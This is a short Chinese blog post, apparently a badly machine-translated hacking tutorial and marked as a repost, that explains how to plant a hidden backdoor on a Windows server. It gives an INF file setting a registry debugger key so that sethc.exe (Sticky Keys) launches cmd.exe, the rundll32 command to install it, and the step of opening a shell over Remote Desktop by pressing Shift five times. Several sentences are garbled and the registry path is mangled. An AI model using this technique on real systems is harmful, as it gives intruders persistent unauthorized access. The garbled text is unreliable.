点评：另一种方法是添加后门来学习如何找到后门。




几天前发布了几家网站。以前修建的车站通常没有保留后门。实际上他们基本上被删除了。这一次，他们决定用自己的方式搭建一个转移后门，并杀了你介绍一种方法。

将下列代码保存为INF文件

{版}
签名=Windows NT $
{ defaultinstall }
addreg = my_addreg_name
{ my_addreg_name }
HKLM，软件微软 Windows currentversion 图像文件执行选项 sethc.exe，调试器，0x00000000，C： Windows System32 cmd.exe

然后上传到execable目录，如我上传到C： Windows 温度 i.inf然后执行它的命令行

rundll32.exe在installhinfsection defaultinstall 128 C： Windows 温度 i.inf

然后远程登录3389，并按5班跳出cmd.exe

你为什么要指挥这条线隐藏人们自己称重。

再版：第二个杀人博客